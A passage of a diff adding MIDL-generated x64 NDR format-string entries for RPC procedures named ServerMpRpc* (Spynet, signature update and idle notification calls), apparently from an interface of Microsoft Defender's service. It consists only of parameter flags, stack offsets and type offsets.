0x0 ), /* X64 Stack size/offset = 0 */ +/* 3664 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3666 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 3668 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3670 */ NdrFcShort( 0x6b0 ), /* Type Offset=1712 */ + + /* Parameter arg_2 */ + +/* 3672 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3676 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3678 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 3680 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3682 */ NdrFcShort( 0x6c0 ), /* Type Offset=1728 */ + + /* Parameter arg_4 */ + +/* 3684 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3686 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3688 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 3690 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3692 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3694 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 3696 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3698 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3700 */ NdrFcShort( 0x6c4 ), /* Type Offset=1732 */ + + /* Parameter arg_7 */ + +/* 3702 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3704 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 3706 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3708 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3710 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 3712 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc64_ServerMpRpcSpynetGetStartTime */ + +/* 3714 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3716 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3720 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3722 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3724 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3726 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3728 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3730 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3732 */ NdrFcShort( 0x50 ), /* 80 */ +/* 3734 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 3736 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3738 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3740 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3742 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3744 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3746 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3748 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3750 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3752 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ +/* 3754 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3756 */ NdrFcShort( 0x1c ), /* Type Offset=28 */ + + /* Parameter arg_2 */ + +/* 3758 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3760 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3762 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3764 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3766 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3768 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc65_ServerMpRpcSpynetUpdateSpynetMetrics */ + +/* 3770 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3772 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3776 */ NdrFcShort( 0x41 ), /* 65 */ +/* 3778 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3780 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3782 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3784 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3786 */ NdrFcShort( 0xd0 ), /* 208 */ +/* 3788 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3790 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 3792 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3794 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3796 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3800 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3802 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3804 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3806 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3808 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 3810 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3812 */ NdrFcShort( 0x6e0 ), /* Type Offset=1760 */ + + /* Parameter arg_2 */ + +/* 3814 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3816 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3818 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3820 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3822 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3824 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3826 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3828 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3830 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc66_ServerMpRpcSpynetClose */ + +/* 3832 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3834 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3838 */ NdrFcShort( 0x42 ), /* 66 */ +/* 3840 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3842 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 3844 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3846 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3848 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3850 */ NdrFcShort( 0x5c ), /* 92 */ +/* 3852 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 3854 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3856 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3858 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3862 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3864 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 3866 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3868 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 3870 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3872 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3874 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3876 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3878 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3880 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc67_ServerMpRpcSigUpdServiceOpen */ + +/* 3882 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 3884 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3888 */ NdrFcShort( 0x43 ), /* 67 */ +/* 3890 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3892 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3894 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 3896 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 3898 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3902 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3904 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3906 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3908 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 3910 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3912 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 3914 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3916 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3918 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 3920 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3922 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3924 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3926 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3928 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3930 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc68_ServerMpRpcSigUpdServiceQueryNotification */ + +/* 3932 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3934 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3938 */ NdrFcShort( 0x44 ), /* 68 */ +/* 3940 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3942 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3944 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3946 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3948 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3950 */ NdrFcShort( 0x64 ), /* 100 */ +/* 3952 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 3954 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3956 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3958 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3960 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3962 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3964 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3966 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3968 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3970 */ NdrFcShort( 0x2012 ), /* Flags: must free, out, srv alloc size=8 */ +/* 3972 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3974 */ NdrFcShort( 0x6fe ), /* Type Offset=1790 */ + + /* Parameter arg_2 */ + +/* 3976 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3978 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3980 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3982 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3984 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3986 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc69_ServerMpRpcSigUpdServiceSendProgressNotification */ + +/* 3988 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3990 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3994 */ NdrFcShort( 0x45 ), /* 69 */ +/* 3996 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3998 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4000 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4002 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4004 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4006 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4008 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4010 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 4012 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4014 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4016 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4018 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4020 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4022 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4024 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4026 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4028 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4030 */ NdrFcShort( 0x3ca ), /* Type Offset=970 */ + + /* Parameter arg_2 */ + +/* 4032 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4034 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4036 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4038 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4040 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4042 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc70_ServerMpRpcSigUpdServiceClose */ + +/* 4044 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4046 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4050 */ NdrFcShort( 0x46 ), /* 70 */ +/* 4052 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4054 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4056 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4058 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4060 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4062 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4064 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4066 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4068 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4070 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4072 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4074 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4076 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4078 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4080 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4082 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4084 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4086 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4088 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4090 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4092 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc71_ServerMpRpcSigUpdClientOpen */ + +/* 4094 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4096 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4100 */ NdrFcShort( 0x47 ), /* 71 */ +/* 4102 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4104 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4106 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 4108 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 4110 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4114 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4116 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4118 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4120 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4122 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4124 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4126 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 4128 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4130 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 4132 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4134 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4136 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 4138 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4140 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4142 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4144 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4146 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4148 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc72_ServerMpRpcSigUpdClientQueryNotification */ + +/* 4150 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4152 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4156 */ NdrFcShort( 0x48 ), /* 72 */ +/* 4158 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4160 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4162 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4164 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4166 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4168 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4170 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4172 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 4174 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4176 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4178 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4180 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4182 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4184 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4186 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4188 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 4190 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4192 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 4194 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4196 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4198 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4200 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4202 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4204 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc73_ServerMpRpcSigUpdClientClose */ + +/* 4206 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4208 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4212 */ NdrFcShort( 0x49 ), /* 73 */ +/* 4214 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4216 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4218 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4220 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4222 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4224 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4226 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4228 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4230 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4232 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4234 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4236 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4238 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4242 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4244 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4246 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4248 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4250 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4252 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4254 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc74_ServerMpRpcSigUpdControl */ + +/* 4256 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4258 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4262 */ NdrFcShort( 0x4a ), /* 74 */ +/* 4264 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4266 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4268 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4270 */ NdrFcShort( 0x2c ), /* 44 */ +/* 4272 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4274 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4276 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4278 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4280 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4282 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4284 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4286 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 4288 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4290 */ NdrFcShort( 0x7e ), /* Type Offset=126 */ + + /* Parameter arg_2 */ + +/* 4292 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4294 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4296 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4298 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4300 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4302 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc75_ServerMpRpcIdleNotificationOpen */ + +/* 4304 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4306 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4310 */ NdrFcShort( 0x4b ), /* 75 */ +/* 4312 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4316 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4318 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4320 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4322 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4324 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4326 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4328 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4330 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4332 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4334 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 4336 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4338 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4340 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 4342 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4344 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4346 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4348 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4350 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4352 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc76_ServerMpRpcIdleNotificationClose */ + +/* 4354 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4356 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4360 */ NdrFcShort( 0x4c ), /* 76 */ +/* 4362 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4364 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4366 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4368 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4370 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4372 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4374 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4376 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4378 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4380 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4382 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4384 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4386 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4388 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4390 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4392 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4394 */ 